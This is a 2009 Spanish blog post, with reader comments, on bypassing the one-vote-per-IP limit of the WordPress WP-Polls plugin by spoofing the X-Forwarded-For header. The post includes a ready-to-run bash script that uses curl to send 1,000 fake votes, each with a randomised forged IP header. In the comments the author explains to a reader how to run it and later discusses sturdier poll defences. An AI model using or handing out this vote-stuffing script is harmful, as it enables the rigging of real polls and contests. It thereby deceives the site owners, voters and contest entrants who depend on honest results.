sábado, octubre 10, 2009

Votando mas de lo permitido con WP-Polls


WP-Polls es un plugin de WordPress para administrar encuestas, nunca lo he utilizado, simplemente quiero apuntar a lo fácil que es saltarnos la seguridad que tiene de no permitirnos votar mas de una vez por IP, pudiendo votar fácilmente las veces que se deseen, por lo que este plugin no debería ser utilizado para encuestas que se desean tener datos reales ni mucho menos para concursos...

Según pude ver, gracias al plugin x-forwarded-for spoofer para firefox, al cambiar el valor de la cabecera http x-forwarded-for, me permitía votar de nuevo... de que estoy hablando? bueno, pueden encontrar mas información sobre esta cabecera http en wikipedia, en resumen diremos que esta cabecera lleva tu ip local, por ejemplo, varios de los proveedores locales de internet hacen que varias personas salgan a internet a través de una misma IP, por ejemplo, por una misma IP está accediendo el Sr. Perez a la página de su periódico favorito pero tambien está Maloso Juarez queriendo entrar por fuerza bruta a la página de administración del mismo periódico... los administradores del servidor del periódico andaban vivos y se dieron cuenta del ataque de Maloso Juares, así que deciden bloquear la IP publica de Maloso Juarez, que resulta ser también la del Sr. Perez, resultando en que el Sr. Perez no puede disfrutar de su lectura porque fue bloqueado "sin querer".

X-forwarded-for entonces no toma en cuenta la IP publica, sino la IP local... ejemplo, la IP publica del Sr. Perez y Maloso Juarez era 200.13.X.X, pero la ip local que les está asignando el router de cada casa es del tipo: 192.168.0.1, que es la IP que lleva la cabecera X-Forwarded-for.

Esto solo fue un ejemplo, claro en la vida real si estoy sufriendo un ataque bloqueo la IP, no importa quien mas quede afectado, solo quise ilustrar la diferencia de IPs.

Volviendo al X-forwarded-for, al ser una cabecera HTTP enviada por el cliente (nosotros), tenemos control completo sobre que enviar y que no, ya sea con el plugin mencionado anteriormente, algún proxy... o a pie.

Ya que descubrimos que WP-Polls unicamente verifica la dirección que viene detallada en la cabecera x-forwarded-for, entonces podemos engañarlo (IP spoofing), nos podemos entonces hacer un pequeño script bash, tenemos pues que verificar primero que variables son las que enviamos por post, para el caso WP-Polls normalmente son las siguientes:

vote=true&poll_id=1&poll_2=2&rndval=12321321321323

Bastará con identificar los valores para la opción que necesitamos, y nos hacemos nuestro script bash haciendo uso de curl,

... antes de ponerlo, hay que aclarar que en x-forwarded-for podemos poner cualquier numero y dara igual... es decir, bien puedo poner rangos reales de IP: 192.168.0.1-254, IP inventadas: 955.278.8000.6... o numero cualquiera.

ahora si.. el script:

-----------------------------
#!/bin/bash
NUM=0

#solo vamos a agregar 1,000 votos
while [ $NUM -le 1000 ]; do

#generamos un numero random para ponerlo como parte de nuestra IP
RAN=$RANDOM

# $1 indica un argumento pasado desde la linea de comandos (ver uso despues)
# $RAN es nuestro numero random generado anteriormente
# $NUM es el numero correlativo de nuestra votacion
# -H es utilizado por curl para enviar cabeceras HTTP
# -d es utilizado por curl para indicarle las variables que tiene que enviar por POST
# ademas crea un archivo con la respuesta obtenida (para saber si el voto fue efectivo)
# lo cual puede omitirse si no quieres ver un monton de archivos..
#
# Nuestra IP la forma con el argumento que le pasemos,
# el numero random y el numero correlativo
# ej. si le pasamos el argumento "200.13"
# le agrega un numero random quedando "200.13.454545"
# y luego le agrega el correlativo quedando "200.13.454545.1"
# lo que hara algo dificil que se repita ;)

curl -H "X-Forwarded-For: $1.$RAN.$NUM" -d "vote=true&poll_id=1&poll_2=2&rndval=$RAN" "http://sitio_con_WP-Poll/" >log_$1.$RAN.$NUM.html

let NUM=$NUM+1
done
-----------------------------

Lo guardamos con cualquier nombre, por ej "wp", y lo ejecutamos pasandole un argumento para hacer aun mas flexible nuestra IP...

wp "200.13"

Y ahi va nuestra votacion...

Cabe mencionar que no he verificado versiones ni mayor detalles de este plugin...

Saludos!

6 comentarios:

Anónimo dijo...

Hola Amigo. Sabes si con cURL se pueden generar ingresos extras en Google AddWords?

ciskosv dijo...

@anonimo: Lo lamento, nunca he utilizado ni se como funciona Google Addwords, pero sería de probar ;)

Anónimo dijo...

Hola que tal.. Saludos... mira que no entenedi muy bien lo del script como lo edito o donde lo edito y lo guardo y como lo instalo en el mozilla... gracias miles de antemano..

ciskosv dijo...

@Anónimo: Ese script funciona haciendo uso del bash de linux, solo hay que copiar las lineas que estan en medio de los guiones, en un archivo nuevo y darle permisos de ejecucion. Avisame si necesitas mas info. Saludos!

Oskar dijo...

¿Cisko sabes cula sería una encuesta que no sea tan fácil de burlar? Lo idea sería solo permitir la votación a cierto rango de Ips. Saludos.

ciskosv dijo...

@Oskar: Tu pregunta es difícil de responder ya que todos de alguna forma son falibles. Los hay guardando cookies, IPs, registro previo con usuario/contraseña, captchas, hasta los que piden su cuenta de FB... sin embargo siempre hay alguna forma (en cuestion de minutos te puedes crear otra cuenta de fb y listo, muchos captchas son vulnerables), pero creo que al menos es de buscar algo que no tan facil puede automatizarse. En lo personal creo que una de las "mejores" (menos peores?) formas es la que te mandan un link para verificar por correo, claro, como te digo, siempre hay formas (si tienes un dominio y correos puedes configurarlo para que todas las cuentas que no existan y que sean de tu dominio te las redireccione a una cuenta real, de esa manera puedes agregar cuantos correos quieras y solo es cuestión de ir confirmando cada correo)... como te repito, al menos no son tan fácilmente automatizables. En fin, si pones un sistema de votación online, debes estar preparado y que no sea para algo crítico... formas de vulnerarse, siempre habrán... Saludos!!!